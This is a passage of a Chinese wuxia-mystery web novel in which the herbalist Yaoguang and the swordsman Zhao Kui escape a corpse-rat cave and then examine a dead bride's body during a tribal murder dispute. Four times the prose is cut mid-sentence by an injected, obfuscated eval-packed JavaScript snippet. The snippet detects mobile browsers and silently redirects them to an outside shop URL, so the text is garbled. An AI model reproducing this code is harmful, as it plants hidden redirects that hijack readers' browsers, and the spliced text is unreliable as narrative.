但对于普通人来说,无论碰上的阎王花还是尸鼠王都没区别,只有一个死。 念在赵傀背了自己一路的份上,瑶光想了想,还是说:“要不你把我放下,先找机会上去吧,我被咬几口没关系的。” “没关系?”赵傀声音很冷,“看到它们的牙了没,普通的老鼠就能咬死襁褓里的婴儿,成群的能咬死猫,你觉得,这些吃尸体和动物白骨长大的老鼠,咬死你需要多久?” 瑶光还真认真想了想。 如果真到那个地步的话…… “一眨眼,”她肯定地说,“因为我会在它们咬中我前自裁。被老鼠咬死本来就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345133|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很不好听了,要是死后尸体再被老鼠搬来搬去装神弄鬼吓唬活人,那我估计死了也会被气活。” “…………”赵傀似乎被她噎住了。 他默默拔出了横刀,虽然看不到赵傀脸上的表情,但瑶光猜他现在应该是一副懒得搭理她的模样。 尸鼠王突然直立起上半身,发出一道尖利的吱吱声。 刹那寂静后,鼠群躁动起来,争先恐后地朝他们扑了过来! 赵傀挥刀一抹,利风破空,几只跳到半空中的尸鼠霎时身首分离。 但危机远远没有解除,因为更多的尸鼠从四面八方涌了过来。 有的头上还顶着人的头盖骨,龇牙咧嘴地甩着尾巴敲击着地面,像是在示威。 看着这些密密麻麻的老鼠,瑶光只觉得头皮发麻。 她终于明白,昨晚诡异的敲门声是从哪儿来的了——这帮老鼠,当真成精了!知道如果天黑故意学人敲门的话,人就会因为害怕不出门,方便它们搬运尸体。 想起昨晚的惊魂时刻,她没忍住,在赵傀背上低低地骂了句脏话。 “姑娘家不要说浑话。”正忙着和尸鼠王大战的赵傀突然出声。 他猛地发力,横刀刀锋势如破竹,劲风竟将那堆成小山的白骨一劈两半,还在墙上留下了一道深深的印记。 尸鼠王下意识想要逃窜,但还是被削掉了一只耳朵,痛得它尖声大叫起来。 瑶光看得咋舌,但还是忍不住反驳道:“你是我爹吗?管这么宽?” 赵傀反手削掉一只尸鼠的脑袋,淡淡道:“只是提醒。” 短短一炷香的时间,足足有上百只尸鼠死在了他们脚下。 赵傀却只是微微有些气喘,就和常人爬了三层楼差不多。 他背上的瑶光感受最深。 赵傀的吐纳呼吸就和他的体温一样,始终稳得可怕。 他身形高挑,并不算壮实,筋骨中蕴藏的爆发力却难以估量。 每次发力时,瑶光都能清晰地感受到他瞬间绷紧的脊背,和颈侧跳动的浮凸青筋。 ——绝对是个内外功夫都修到极致的高手。 但不应该啊,她想。 看赵傀的年纪,顶死不会超过三十岁。 外功先不提,内功可是实打实要靠年岁增长不断积累的,难不成他打娘胎里就开始修炼了? 瑶光有心想问问赵傀的师门,但又觉得刚见面就问这么详细不太好,最后还是把话咽了回去。 “吱吱!” 只剩下一只耳的尸鼠王再度发出了指令,然后它用一种极为人性化的、怨毒的眼神看了赵傀和瑶光一眼,转身消失在了洞穴深处。 “小心身后!”瑶光来不及惋惜到手的尸毒溜走,余光瞥见一道影子,忙出声提醒。 但背着一个人到底还是妨碍了赵傀的视野,等他听到瑶光的声音时,已经来不及了。 一道锐风划过耳畔。 背上的瑶光猛地把鱼肠剑掷出,将那两只背后偷袭的尸鼠连串钉在了地上,尸鼠至死仍在挣扎,却因为身体被贯穿动弹不得。 “不用谢。”她得意洋洋道。 赵傀瞥了她一眼,把她放了下来。 瑶光踉跄了一下,但好歹是站住了。 她不满地抱怨道:“下次放手前,好歹记得说一声。” 赵傀没吱声,从尸鼠身体上拔出鱼肠剑,打量了一眼,递过来。 瑶光正要伸手去接,突然见他面色一变,反手握住鱼肠剑捅穿了一只尸鼠的头部——刚才它一直狡猾地藏在白骨堆里,就等着他们放松警惕,要不是赵傀正好转身,估计也发现不了。 瑶光被尸水溅了一胳膊,浑身颤抖,怒气几乎让她说不出话来:“你……” 赵傀也冲她淡淡颔首:“不用谢。” 混账东西! 瑶光用上了毕生所学的脏话,在心里把赵傀这个狗男人翻来覆去骂了几百遍,气氛霎时间僵硬无比。 幸好这时候,头顶的天坑边探出来一个脑袋——是昨天瑶光看到的那个松鼠男。 松鼠男一见他们,用惊喜中带着一丝疑惑的语气问道:“九爷!现在不是还没到该出来的时辰吗?……等下,怎么还有个年轻姑娘?” 九爷? 瑶光挑眉,看向赵傀,赵傀避开她的视线,抬头对那松鼠男说道:“放绳子,拉我们上去。” 8. 第 8 章 “好嘞!” 松鼠男的脑袋消失在了天坑边上,估计是找绳子去了。 趁着这会儿功夫,瑶光赶紧从怀里掏出一块帕子,擦了擦身上的脏污,又从满地的尸鼠尸体上割下十几个毒囊,小心翼翼地装进了帕子里。 虽然这些毒囊远没有尸鼠王的大,毒性估计也不及,但总归聊胜无于。 赵傀站在一旁,默默地看着她收集这些。 瑶光以为他会问自己是在做什么,但赵傀却只是微微蹙眉盯着她的左手腕,什么也没问。 毒瘢的位置被手链遮挡住,一般人只会以为那是个刺青。 所以瑶光并不担心他发现什么,反而昂着脑袋,光明正大地瞪了回去。 看什么看! 但很快她注意到,赵傀站在原地,身子晃了晃,脸色比她第一次见时还要难看。 她立刻皱起眉毛:“怎么回事,你中毒了?” 赵傀抬起左手,低头看了一眼。 他的手背上有一道两寸长的伤口,正在微微渗血,附近的皮肤呈现出不祥的青灰色,不知是什么时候划破的。 瑶光想起他方才用左手牢牢把自己扶在背上的姿势,抿了抿唇,心中也不禁有些愧疚。 “看样子应该是被尸鼠爪子划伤的,还好伤口不深。这样,我也懂一些医术,等出去后我帮你看看……” 赵傀突然抬头看了她一眼,嘴唇动了动,似乎想说些什么。 瑶光没听到。 还没等开口询问,就见赵傀眼睛一闭,朝着自己的方向直直倒了过来—— “唉唉唉,你怎么说晕就晕啊!” 瑶光忙扶住他,被压得后退一步,差点没扶住。 赵傀的个头太高了,比她高出近一头。 失去意识后,身体更是死沉死沉,男人苍白的脸颊搁在颈窝,墨色的长发从她肩头滑落,让很不习惯与人亲近、更何况还是个陌生男人的瑶光觉得浑身不自在。 但人都晕了,还是因为她才中毒晕倒的,瑶光也不好就这样撒手不管,只能咬着下唇,艰难维持着这个近乎拥抱的姿势。 “九爷,快上来吧!” 一条绳索从上面抛了下来,是松鼠男回来了。 瑶光立刻松了口气,抬头喊道:“快下来,你家九爷中毒了!” “什么?不是说好了这地方能压制寒毒吗?” 松鼠男大惊,连绳子都没用就从天坑上跳了下来,动作间颇为利落,看来也是专门练过的。 瑶光盯着他反问道:“寒毒?我说的可是是尸毒。” “这个……”松鼠男自知失言,连忙打了个哈哈转移话题,“多谢姑娘,我来背九爷上去,这下面味儿太冲了,你先上去帮忙搭把手吧。” 瑶光轻哼一声,算了,她也不是很感兴趣。 “行吧。” “姑娘怎么会到这里来?”松鼠男把赵傀用绳索绑在背上,一边爬一边气喘吁吁地打探道,“在下赵高,请问姑娘名姓?” “……赵高?” 瑶光嘴角抽搐了一下,但还是伸手拉了他一把。 松鼠男谢过她,笑道:“本名赵高,但九爷说这名儿不吉利,就给我改了。” “叫什么?” “赵富贵。” 瑶光噗嗤笑出了声:“还不如不改呢。” 赵富贵无奈笑笑,自嘲道:“没办法,贱名好养活。” “富贵!富贵!” 一只乌鸦嘎嘎叫着,从林间盘旋飞来,落在赵富贵的肩膀上。 它通体漆黑,独独头顶长着一撮白毛,羽毛油光水亮,一看就知道主人喂养得相当不错。 注意到瑶光好奇的目光,赵富贵主动解释道:“这是我养的鸟,一公一母一共两只,叫神荼郁垒,这只是郁垒。来,跟姑娘打声招呼。” 这乌鸦通人性,听了赵富贵的话,还真和人一样朝瑶光低了低脑袋问好:“姑娘好!嫂子好!” “嫂子是谁?”瑶光眼皮直跳,纠正道,“我叫瑶光,可不是什么嫂子。” “不好意思瑶光姑娘,”赵富贵尴尬笑道,“可能是之前我去找柳寡妇买酒的时候被它听到了,这小王八蛋,好的不学尽学坏的!” 郁垒才不惯他,一拍翅膀飞起来,边飞边嘎嘎叫道: “王八蛋!富贵才是王八蛋!” 洪亮的声音似能绕林三日,许久不绝。 瑶光被它逗得乐不可支,对赵富贵这人也亲近了些,主动道:“你把赵傀放下吧,我看看他的伤。” 赵富贵愣了一下,却结巴起来:“赵、赵傀?九爷刚才跟你说,他姓赵?” “对啊。” 瑶光奇怪地看了他一眼,不懂这有什么好激动的,赵富贵至于露出这样一幅与有荣焉的模样吗? “没什么,没什么,”赵富贵嘿嘿笑了两声,“还是赶紧替九爷治病要紧。姑娘是医师?” “江湖郎中,略懂一些医术偏方。” 瑶光让赵富贵在附近找了块干净地方,把赵傀放平,给他把了把脉,又用手背触碰了下赵傀的额头,眉头渐渐皱了起来。 “怎、怎么了?”赵富贵紧张道,“是情况不好吗?” 瑶光摇了摇头,从怀里掏出一枚随身携带的应急药囊,从里面取出一片草药,嚼吧嚼吧,吐出来,抹在了赵傀的伤口上。 赵傀看得眼珠子都差点瞪出来,支吾半天,不知道该说什么好。 “别用那种表情看着我,”瑶光头也不抬道,“荒郊野岭,也没什么别的办法,命都要没了,哪来的那么多挑剔。” 她都这么说了,赵富贵也只好点头。 又过了一会儿,他没忍住问道:“瑶光姑娘,九爷他多久能醒?” “不知道,”瑶光淡淡道,“你得先告诉我,他身上的寒毒是怎么回事。” 见赵富贵一脸苦色,她轻哼道:“其实我也不是很关心,只是他好歹救了我,随口一问罢了。” 她摇摇头:“这世上病人多了,既然有想活活不了的,自然也有不想活自己找死的。他身上这寒毒已经深入骨髓,但被他的内力压制,平时于性命倒是无碍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345134|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但要是发作起来,滋味估计不好受。” 在听到“与性命无碍”几个字时,赵富贵明显松了一口气。 等听到后半句,他的表情又沉重起来。 “我……”他咬咬牙,看着瑶光平静的眼神,似乎下定了决心,“瑶光姑娘,这话你可别告诉九爷啊,他不让我告诉别人的。” 瑶光奇道:“那你为什么要告诉我呢?” 赵富贵斩钉截铁道:“九爷宁肯中尸毒也要救你,肯定是因为你值得信任。” 瑶光觉得这个理由有些牵强。 但赵富贵既然想说,她也不拦着。 赵富贵自我介绍说,他们是从北方来的药材商贩,赵傀是他们家最小的少爷,家里老爷太太年轻时得罪了人,少爷跟着家族北上,一路颠沛流离受了不少苦,寒毒也是在这个时候侵入体内的。 后来日子好过了,家里老爷又生了病,大夫开了一记方子,里面有些稀罕药材市面上根本买不到。没办法,他们只能跑到这大山里来碰碰运气,结果刚来不久,就倒霉摊上了一桩人命官司。 “九爷要是愿意好好修养,凭他的本事,区区寒毒而已,也不能拿他怎么着,”赵富贵有气无力道,“身不由己啊。” 瑶光眨了眨眼,觉得赵富贵比起哀叹他主子,倒更像是在哀叹自己命苦。 不过想想也能理解,这种处处是毒蛇瘴气的西南边境,就连官员都不愿来,更何况是他们这样替人办事的呢。 “什么官司?”瑶光露出同情的眼神,“是跟那具女尸有关吗?” 赵富贵痛快点头:“正是,前段时间这寨里祭司的孙子要娶亲,谁知婚礼前一晚,包括新娘在内的全家暴毙而亡,只剩一个新娘的堂姐,还莫名其妙成了疯子。” “自那以后,这寨子里就开始闹鬼。那祭司说,是新娘死而复生,来找凶手索命了,可他孙子非说我们就是凶手,纯属胡扯八道!” 瑶光拧眉道:“既然没有证据,他凭什么这么说?” 赵富贵撇嘴道:“就是因为没有证据,所以这些蛮子只能嚷嚷着我们被山神诅咒了,不然早就把我们抓起来了。” “但你们是官兵吧,”瑶光说,“他们敢对你们动手吗?” 赵富贵顿时哑然。 瑶光看着他惊讶的样子,笑了笑,指了一下躺在地上的赵傀:“别否认,我认得他用刀的路数。” 上辈子宫中数得上名号的高手,瑶光都见过。 其中有一位老人家就是使刀的,从前是十二卫的教头,内力深不可测,能一刀劈开三寸厚的青石砖。 “果然瞒不过瑶光姑娘,”赵富贵被戳穿了身份,也不紧张,笑眯眯地冲她一拱手,“姑娘好眼力,赵某佩服。” “行了,别拍我马屁了。”瑶光瞥了他一眼,“你说的这些,究竟有几分真几分假,为的是官差还是私事,我都不关心。但我可以明确告诉你——” 她盯着躺在地上双目紧闭的赵傀,眼神亮得让一旁的赵富贵都有些寒毛直立: “他身上的寒毒,我可以解。” 9. 第 9 章 听到瑶光的话,赵富贵呆了数息,猛地站起身。 “姑娘所言当真!?” “好好的骗你做什么。”瑶光奇怪地看了他一眼。 “实话告诉你吧,我来这儿,就是为了找一种叫杜桑的奇毒。这寒毒换做一般大夫还真治不了,不过你们运道好,遇上我了,”她微微一笑,说道,“对我来说,也就是费点功夫的事。” “好好好!”赵富贵面带喜色,一脸说了三个好字,还冲瑶光躬身行了个大礼,“那就拜托瑶光姑娘了!诊金这边……” “不要诊金。” 赵富贵一怔:“啊?” 瑶光当然不是来做慈善的,如果能把赵傀体内的寒毒祓除出来,对缓解她身上毒瘢的蔓延也有好处。而且…… “我需要关于奇毒的情报,”瑶光没具体说毒瘢的事,毕竟刚认识不久,她对这两人仍有所提防,“你们是官家的人,路子应该比我广,我帮你老大治病,你们帮我找消息,我们各取所需。” “没问题!”赵富贵一口答应下来。 瑶光挑眉问道:“不需要问问你家少爷的意见?” “反正也不是什么大事,这个我都能做主,”赵富贵冲她挤眉弄眼,“再说了,姑娘你又救了九爷一命……” “少来,我说了,各取所需而已。”瑶光没好气道,“还有我警告你们,不管你们来南诏寨里做什么,别连累我,听到没?” 赵富贵立刻道:“那是肯定。” 见天色不早,赵傀还没醒,他便提议回去再详谈,背着赵傀,和瑶光一起往寨子的方向走去。 半路上,那只乌鸦又飞了回来,嘎嘎叫道: “富贵!危险!危险!” 瑶光以为它是在叫着玩,谁知赵富贵却面色一变:“不好!寨子里肯定出事了!”说完便加快脚步冲了回去。 瑶光跟在他后面,疑惑地跑到寨子的入口处,就见赵富贵被一群杀气腾腾的寨民围在当中,领头的那个穿着乌蛮贵族的服饰,手持兽骨长矛,矛头直指他的双眼:“把你背上的人交出来!” “不然,死!” 他用的是当地土话,赵富贵根本听不懂,急得一头汗。 他余光瞥见瑶光从后面过来,忙喊道:“瑶光姑娘,快过来帮个忙!他们叽里咕噜说的啥,我听不懂啊!” 瑶光本来没打算管这事。 这帮寨民一看就知道来者不善,虽然她刚和赵富贵谈了合作,但八字没一撇,也没必要沾一身腥。 赵富贵这一嗓子吼出来,在场所有人立马把脑袋转向了她这边,领头的看到她,更是露出了扭曲的神情——这人就是毕摩的孙子,叫阿呷,上次瑶光来时和他也结过梁子。 瑶光暗道不好。 但众目睽睽之下没办法脱身,只好假笑着转过身来。 “他们说昨晚寨里又死了人,让你把背上的头目交出来,不然就要把你们的人全都杀了。” “又来一口黑锅?艹,还没完没了了!” 赵富贵大怒。 但形势比人强,面对一帮来势汹汹的当地土著,他也只能耐下性子对瑶光说:“你帮我跟他们说,他未婚妻肯定不是我们杀的,凶手是谁,我们也不知道,八成是背后有人搞鬼。说不定就是他家的仇家干的,有话好好说,别动不动喊打喊杀的……” 瑶光听了,暗自摇头。 这赵富贵一看就知道是混江湖的老油条,说起场面话来头头是道。 可惜这里不是中原地区,他不懂毕摩家族在这里的地位,和乌蛮人对信仰的看重。 上次她只是帮忙治疗了几个寨里的病人,就被毕摩和他孙子盯上了,因为在这里,只有毕摩才“有资格”传承医术。 她能全须全尾地进山一趟再出来,全靠杜罗哥的力保。 瑶光讨厌这对爷孙,其中一个原因,就是他们太傲慢了。 总觉得自己有神灵保佑,生来不同。 赵富贵的猜测固然合情合理,但阿呷是不可能听进去的。 “你们这次来了多少人?” 瑶光悄悄问他。 不管怎么说,乌蛮六诏与中原朝廷,目前都还处于井水不犯河水的状态,乌蛮人忌惮朝廷的实力,朝廷觉得乌蛮是个难啃且吃力不讨好的骨头,两方都不希望打破这个平衡。 如果赵傀他们带来的人多,倒也不是没有谈判的余地…… “九爷这次是秘密出行,”赵富贵也压低了声音,“加上我和老陆,一共就三人。但老陆他会易容,这几天九爷让我俩每天都扮作不同的人,在寨里进进出出,所以他们一直觉得咱们来的人很多。” “易容?居然还真有这样的功夫。” 瑶光说着,又忍不住瞥了一眼他背上的赵傀。 这人还挺聪明的。 这样一来,阿呷估计就摸不清楚他们的具体人数,担心万一漏了一个跑回去报信怎么办,不敢轻易对他们动手。 “但只有三人的话,就麻烦了,”她皱眉道,“南诏部光青壮年就有上万人,双拳难敌四手,还是不能硬拼。你们有没有官府的印章或者调令?有的话赶紧拿出来,我给他们说说。” 赵富贵急道:“我们又不是……哪来的什么调令?” 她和赵富贵当着阿呷的面用中原官话交头接耳,阿呷听不懂,只觉得他们是在挑衅,神色愈发阴沉。 眼看着就要发作时,一道还带着几分虚弱的声音响起: “女尸。” “什么?” 瑶光下意识往说话人的方向看去。 赵傀终于清醒了,他拍了一下赵富贵的肩膀示意对方把他放下,与瑶光对视一眼,平静道:“跟他们说,去尸鼠洞,验尸。” 瑶光把这句话翻译给了阿呷,顺便简单说了一番他们见到女尸的经过,顿时引来一片哗然。 “英珠找到了?” “她不是已经葬在山崖上了吗,怎么会出现在那里……” “这些天寨里一到晚上就闹鬼,难道真是她?” “这世上本没有鬼,”赵傀开口道,漆黑的双眸注视着领头的阿呷,“除非,有人心里有鬼。” “真相如何,你们只需要亲自去看一眼就知道了。” 瑶光睁大眼睛,赵傀竟然也会说当地的语言! 阿呷阴沉地盯着他:“外族人,你什么意思?别以为我真不敢杀你们!” 他陡然拔高声音,上前一步,长矛横在了赵傀的脖颈上。 赵富贵的脸色一冷,正要出手,被赵傀拦住了。 “如果我真是凶手,你要杀我,我没意见。但这件事你我说了都不算,”他说着,看向一旁抱臂看好戏的瑶光,“得这位姑娘说了才算。” 瑶光:“……啊,我?” 不是,关她什么事啊! 虽然她内心腹诽,但最后还是提上工具,跟着他们一起来了。 没办法,赵傀给的实在是太多了。 他给了瑶光三两黄金,作为此次验尸和翻译的报酬。 ——现付。 “先说好,我可没当过仵作,只懂一些验尸的皮毛,”顶着赵富贵羡慕到眼睛发绿的目光,瑶光用力咬了一口金子,发觉是真的后她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345135|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑得格外灿烂,“而且她死亡的时间太长了,不一定能发现什么。” 赵傀颔首:“尽力而为就好。” 瑶光偏要和他唱反调:“要是尽力而为了,还是徒劳无功呢?” “凡事不过尽人事,听天命六个字。”赵傀摸了摸手腕上的红绳铜钱,淡淡说道,“徒劳无功,功败垂成,也是天命。” 瑶光站在他旁边看得清楚,这三枚铜钱不是她想象中的古钱币,竟然只是本朝发行的三枚普通宝文钱,目前还能在市面上使用。 她反问道:“听赵半仙的话,想必是已经胸有成竹了。那你怎么不直接问问老天爷,凶手是谁?” 赵傀微微摇头:“没有必要。” 瑶光还想说些什么,但赵傀打断了她:“到了。” 一行人停下脚步,阿呷呆呆注视着坑底腐烂的女尸,双眼通红,嘴唇颤抖,瑶光看了,倒还真有几分可怜。 英珠和他的婚约,她也是知道的。 上次来的时候杜罗哥就和她提过,说英珠和阿呷从小青梅竹马一起长大,还都是南诏部的贵族。英珠的身份没有阿呷高贵,但阿呷执意要娶她,毕摩也就默许了这份婚事,算是皆大欢喜吧。 谁知再来时,两人已是天人永隔。 其中一个,还是死于非命。 赵富贵叹道:“红粉骷髅,白骨皮肉,色即是空空即是色啊。” 瑶光斜眼看着他:“你没读过书吧?” 赵富贵干笑一声,显然是被瑶光说中了。 他撇开脑袋,忽然注意到赵傀也在默默看着他,愣了愣,忽然明白了什么,苦着一张脸又下去了一趟,把女尸背了上来。 “他奶奶的,满身都是蛆!这味儿比半年没打扫的茅坑还臭,呕——” 他一上来就躲到一边吐去了。 高度腐烂的尸体让所有人都毛骨悚然,唯有阿呷丝毫不嫌弃,噗通一声跪在旁边,丢下长矛,如野兽一般痛苦嚎哭起来。 他捶胸顿足道:“为什么,英珠,为什么要抛下我一个人,我那么爱你……你怎么舍得……” “倒是个难得的痴情人。” 虽然讨厌阿呷,但瑶光也不得不感叹了一句。 赵傀闻言,不置可否地看了她一眼。 瑶光以为他是在催促自己尽快开始,心想你出钱你老大,于是解开包袱,从里面拿出一把骨刀和剪子。 正准备验尸时,一只手却死死抓住了她的手腕—— “你要干什么?”阿呷目眦欲裂地盯着她,大声质问道。 其余寨民看着他们的眼神也颇为不善。 瑶光心里一咯噔,心道坏了,她忘记了一件极为重要的事情: 这里的人们流行崖葬,尸体必须要完整放入棺材下葬。 剖腹验尸这种行为,在他们看来就是侮辱尸体,是不可饶恕的罪过。 阿呷见她迟迟不说话,神情愈发狰狞。 他用一种近乎怨毒的憎恨眼神盯着瑶光,仿佛是她杀了自己的未婚妻似的,握着瑶光手腕的五指也越发用力,几乎要捏碎她的骨头。 瑶光疼得脸色发白,正当她忍无可忍打算翻脸扇人时,赵傀绕到阿呷身后,在他肩膀的肩髎穴上点了一下。 所有人都清楚看见了,赵傀用的力气并不大,但阿呷却大叫一声,手臂瞬间无力下垂。 他跪在地上,捂着酸痛难忍的胳膊,惊疑不定地回头看着赵傀:“你用了什么巫术!?” “只是让你冷静一些,”赵傀冷淡道,“手又没断,乱叫什么?” 瑶光噗嗤一声笑了出来。 10. 第 10 章 瑶光揉着酸胀的手腕,看着赵傀那张没什么表情的冷峻侧脸,倒是觉得顺眼了许多。 阿呷怨恨地瞪着赵傀。 但显然他还是有自知之明的,刚才赵傀一出手,他就知道他们这帮人哪怕加在一起都打不过赵傀一个,因此敢怒不敢言。 赵傀对瑶光说:“帮我看看她有什么外伤,内部不用验了。” 瑶光:“行。” 她把骨刀放下,戴上羊肠手套,开始检查尸体表面,一边检查一边问阿呷:“她是什么时候死的?你们在哪里发现她的?” 阿呷不太情愿地回答道:“我们婚礼前一晚。是……”他露出纠结的神色,开始摆着手指头算数。 瑶光叹气:“我的错,就不该问你。赵傀,你来说。” 赵傀淡淡道:“十七天前的傍晚,她从河流上游飘到岸边,被人发现时已经没气了。” 阿呷抬头盯着他,恨声道:“她死的时候,手中攥着你的衣带!离你们那么近,你们居然说,什么声音都没听到,说谎!骗子!” 他低声咆哮道:“是你害死了她!” 赵傀站在旁边,无动于衷地看着他。 瑶光悄悄竖起耳朵听八卦。 赵富贵之前可没跟她说这个啊。 乖乖,这赵傀看着一副清心寡欲的菩萨相,该不会刚来南诏部寨子里,就把毕摩孙子的未婚妻勾搭走了吧? 这姑娘也是单纯可怜,估计还不知道,世上薄情汉大多家里彩旗不倒外面红旗飘飘,瞧瞧这个,红旗都插深山老林里了。 像是听到了瑶光内心的腹诽,薄情汉忽然冷冷扫了她一眼:“看我做什么?” 瑶光撇了撇嘴收回目光,嘟囔道:“不做亏心事,不怕鬼敲门,看两眼怎么了,又不会少块肉。” 旁边的赵富贵听得满身冷汗,飞快地看了一眼赵傀的神色,发现他居然没动怒,眼中似乎还闪过一丝笑意,表情更加惊奇了。 瑶光检查了一会儿,突然停下了动作,皱着眉头道:“等下,你刚才说,她死了至少有十七天?还是在河边被发现的?” “对。怎么了?” 瑶光语气笃定道:“这不可能。” “山中夏季潮湿温暖,相当于山外的春秋季节,但十七天,尸体再怎么也该化成水了。但是你看——” 她指着女尸肿胀青黯的面容,说道:“四肢保存完好,五官尚且能够辨认,还有她的头发,近一半都还保留着,未与头皮分离。” “可能是因为下葬的地方比较阴凉?”赵富贵凑过来,猜测道,“这里的人不都流行崖葬吗,那么高的地方,应该很凉快吧。” 瑶光立刻道:“那她是怎么从悬崖上下来的?” 赵富贵一时语塞。 瑶光发现,她似乎找到了破解这起案件的关键。 尸鼠王本事再大,也不可能跑到悬崖绝壁上开棺抬尸,想要把尸体送到那么高的地方,只能依靠人力。 那反之,尸体出现在这里,也只可能是因为,有人把她带了下来。 可那人究竟是出于什么目的,非要去冒天下之大不韪,去打扰一个死去之人的安眠?还是说,这么做对他有什么好处? 瑶光陷入了沉思。 她总觉得真相近在咫尺,若是换做一个经验丰富的仵作在这儿,估计早就发现端倪了。 但她平日对验尸这方面实在涉猎不多,只能靠从前行医时的经验,初步判断女尸的死因和死亡时间, 仔细观察了尸体几遍,还是没发现任何外伤。 难不成,真是因为情伤投水自尽? “看看嘴巴里面。”赵傀提醒道。 瑶光恍然,差点忘了检查喉舌! 她小心翼翼地掰开尸体的嘴巴,里面密密麻麻的蛆虫骤然见光,受惊疯狂蠕动起来,那画面简直难以用语言来形容,在场顿时响起一片呕吐声。 就连阿呷也控制不住地后退了几步,转身吐了个昏天黑地。 唯二还能保持淡定的只有瑶光和赵傀,瑶光甚至还伸出两根手指,把尸体嘴巴里的蛆虫往外掏了掏,方便检查。 赵富贵看得龇牙咧嘴,一脸狰狞。 他以袖掩鼻,闷声闷气地问赵傀:“九爷,您从哪儿找来这么生猛的姑娘?” 赵傀盯着瑶光,面上竟然浮现出一丝欣赏之意。 他说:“我不关心她的来处。” 瑶光发出一声重重的冷哼——这棺材脸嘴里果然没一句好话。况且她需要他的关心?笑话! 最了解赵傀的赵富贵却听出了一丝言外之意,他看看赵傀又看看瑶光,脸上逐渐露出了一种了然的八卦神情。 瑶光观察了片刻女尸的喉舌,面色一变,像是突然又想到了什么,连忙仔细观察了一番尸体腹部。 然后她抬头道:“我知道了,她——” 赵傀突然上前一步,用手捏了一下她的肩膀。 瑶光到嘴边的话被打断,她不解地看向赵傀,身后恰好传来一道熟悉的苍老声音:“英珠她背弃了祖灵,是天不容她。” 来者正是寨中毕摩。 瑶光转过身,冷眼看着这个皮肤犹如松树皮般干枯黝黑的瘦小老头,他身上披着一条白色的披毡,手中拄杖,也不知究竟活了多久,眼珠都已经褪色,呈现出阴鸷的浅蓝色调。 杜罗背着箭袋跟在他身后,先是狠狠瞪了一眼赵傀,随即用一种焦急的目光看向瑶光,示意她赶快到自己这边来。 但瑶光避开了他的视线,只是皱眉盯着毕摩。 这老头来这儿做什么? “本来,我是不想说的,”毕摩慢吞吞道,“但既然到了这一步,真相也没有必要隐瞒了。阿呷,你来告诉他们吧。” “阿普!” 阿呷猛地抬头,焦急道:“不要——” “说。” 见毕摩态度坚决,阿呷攥紧双拳,肩膀剧烈起伏。 许久后,他闭上眼,咬牙讲出了一个故事。 原来赵傀他们,并不是第一批来到寨子里的外族人。 瑶光走后不久,就有一群人来到了这里,领头的那位,被他们称为“国师大人”。 那位国师说,他们来到这里,是来为他们的皇帝采集仙露、寻找长生不老药的。 南诏部忌惮中原朝廷的实力,一开始对他们的招待还算尽心,但很快发现,寨中经常有孩童莫名其妙消失。 一开始他们以为,这些孩子是因为贪玩,在深山里迷了路,后来失踪孩童的数量越来越多,终于察觉到不对。 但在与国师的人起了争执后,那位国师居然带着所有人一夜之间消失在了寨中,从此再没回来。 其中,就有英珠移情别恋喜欢上的人。 阿呷死死盯着赵傀,哑声道:“如果不是你……如果不是你们,我早就和英珠成亲了!她又怎么会死!” 赵傀只是淡淡道:“杀她的人不是我。” 瑶光听得头大。 看到两方剑拔弩张的情形,她觉得这事儿没办法善了了。 上辈子,圣人光是为了在全国建露台这事儿,就大发雷霆处死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345136|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几个上谏反对的大臣。 身体每况愈下后,他为了获得长生,又开始广招方士,求仙问药,可以说是不择手段近乎疯魔。 就连她爹编出的那种“小女八字相合,可助陛下延年益寿”的狗屁谎言,也深信不疑,拖着病体把她招入了宫中,哪怕只是放在后宫里,当个摆设。 “阿呷,你让开。” 毕摩狠狠用拐杖敲了敲地面,盯着赵傀说道:“我知道,你们来这里的目的,和那个国师,是一样的。” 赵傀摇了摇头:“你错了。我从不相信有什么长生不老药,我来这里,只是为了找到一个真相。” “什么真相?”毕摩追问道。 “死而复生。” 